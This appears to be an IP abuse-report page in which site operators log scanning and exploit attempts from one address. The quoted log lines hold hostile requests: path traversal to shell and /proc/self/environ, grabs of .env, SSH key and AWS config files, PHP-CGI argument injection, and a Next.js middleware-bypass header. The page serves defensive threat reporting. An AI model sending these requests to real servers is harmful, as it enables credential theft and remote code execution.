🇬🇧
openstrike.co.uk
2026-10-14 05:14:55
(1 day ago)
226 attacks on shell probes, env grabbing URLs (type 2), VC URLs, env grabbing URLs, config grabbing ...
show more
226 attacks on shell probes, env grabbing URLs (type 2), VC URLs, env grabbing URLs, config grabbing URLs (type 2), directory traversals, password/key grabbing URLs, PHP URLs:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /public/plugins/text/../../../../../../../../proc/self/environ HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /data/.env HTTP/1.1
GET /config/environment.json HTTP/1.1
GET /..%2f..%2f.env HTTP/1.1
GET /.ssh/id_ed25519 HTTP/1.1
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input HTTP/1.1
show less
Hacking
Web App Attack
🇳🇱
Site.eu
2026-10-14 01:36:52
(1 day ago)
Excessive multi-domain requests
Brute-Force
🇩🇪
Philister11
2026-10-14 00:46:10
(1 day ago)
CrowdSec: crowdsecurity/http-probing (CA/AS396982)
Web App Attack
Hacking
🇳🇱
WeCloudit-Anti-Abuse
2026-10-14 00:27:10
(1 day ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-probing
Web App Attack
Hacking
🇮🇹
VHosting
2026-10-13 23:40:05
(1 day ago)
Detected WordPress attack from different servers
Brute-Force
Web App Attack
2026-10-13 18:51:12
(1 day ago)
Banned by Fail2Ban on server
Web App Attack
🇳🇱
e.fierstra
2026-10-13 17:47:28
(1 day ago)
ModSecurity hits exceeded
Bad Web Bot
Web App Attack
🇳🇱
Savvii
2026-10-13 17:13:35
(1 day ago)
20 attempts against mh-misbehave-ban on sonic
Brute-Force
Bad Web Bot
Web App Attack
🇳🇱
WeCloudit-Anti-Abuse
2026-10-13 15:43:09
(1 day ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-path-traversal-probing
Web App Attack
Hacking
2026-10-13 15:32:02
(1 day ago)
Bot / scanning and/or hacking attempts: POST /api/v1/node-load-method/customMCP HTTP/2.0, POST /cgi- ...
show more
Bot / scanning and/or hacking attempts: POST /api/v1/node-load-method/customMCP HTTP/2.0, POST /cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_, POST /api/templates/preview HTTP/2.0, POST /flowise/api/v1/node-load-method/customMCP HTTP/2.0, POST /icecoder/lib/terminal-xhr.php HTTP/2.0, POST /cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_fil, POST /webhook-test/ HTTP/2.0, POST /exec-py HTTP/2.0, POST /lib/terminal-xhr.php HTTP/2.0, POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e, POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend, POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_, GET /firebaseConfig.js HTTP/2.0
show less
Hacking
Web App Attack
🇪🇸
robotstxt
2026-10-13 14:18:37
(1 day ago)
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /api/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e% ...
show more
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /api/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="34.186.203.207"
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /..%2f.env HTTP/1.1" 400 193 "-" "-" "-" edge="34.186.203.207"
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /api/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f.env HTTP/1.1" 400 193 "-" "-" "-" edge="34.186.203.207"
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /api/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="34.186.203.207"
34.186.203.207 - - [13/Oct/2026:14:18:35 +0000] "GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="34.186.203.207"
...
show less
Web Spam
Web App Attack
🇩🇪
updown.io
2026-10-13 14:01:14
(1 day ago)
{"level":"info","ts":1791900073.4227085,"logger":"http.log.access.log1","msg":"handled request","req ...
show more
{"level":"info","ts":1791900073.4227085,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"34.186.203.207","remote_port":"43444","client_ip":"34.186.203.207","proto":"HTTP/2.0","method":"GET","host":"status.funeral-market.place","uri":"/webpack-stats.json","headers":{"Accept-Language":["en-US,en;q=0.9"],"Sec-Fetch-Site":["none"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"],"Sec-Ch-Ua-Platform":["\"Windows\""],"Sec-Fetch-User":["?1"],"Priority":["u=0, i"],"Sec-Fetch-Dest":["document"],"X-Nextjs-Data":["1"],"Sec-Fetch-Mode":["navigate"],"Sec-Ch-Ua":["\"Chromium\";v=\"153\", \"Microsoft Edge\";v=\"153\", \"Not_A Brand\";v=\"8\""],"Sec-Ch-Ua-Mobile":["?0"],"X-Middleware-Subrequest":["src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:midd
...
show less
DDoS Attack
Web App Attack
🇺🇸
TPI-Abuse
2026-10-13 12:24:56
(1 day ago)
(mod_security) mod_security (id:210730) triggered by 34.186.203.207 (207.203.186.34.bc.googleusercon ...
show more
(mod_security) mod_security (id:210730) triggered by 34.186.203.207 (207.203.186.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 08:24:53.441772 2026] [security2:error] [pid 666:tid 666] [client 34.186.203.207:42176] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||mail.futureproductionsonline.com|F|2"] [data ".futureproductionsonline.com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "mail.futureproductionsonline.com"] [uri "/z9x8c7v6b5-debug-trigger-mail.futureproductionsonline.com"] [unique_id "as4jFeDLe5DVW2GYfKBvPQAAABA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇳🇱
Alt255
2026-10-13 12:12:29
(1 day ago)
[ti-02ov] Web exploit scanning: 2 suspicious requests detected by fail2ban jail apache-scanner. Exam ...
show more
[ti-02ov] Web exploit scanning: 2 suspicious requests detected by fail2ban jail apache-scanner. Example: 34.186.203.207 - - [13/Oct/2026:14:12:18 +0200] "GET /dist/.env HTTP/2.0" 301 536 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
34.186.203.207 - - [13/Oct/2026:14:12:18 +0200] "GET /.aws/config HTTP/2.0" 301 540 "-" "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"
...
show less
Bad Web Bot
Web App Attack
🇩🇪
ghostwarriors
2026-10-13 11:20:07
(1 day ago)
Attempts against non-existent wp-login
Brute-Force
Web App Attack
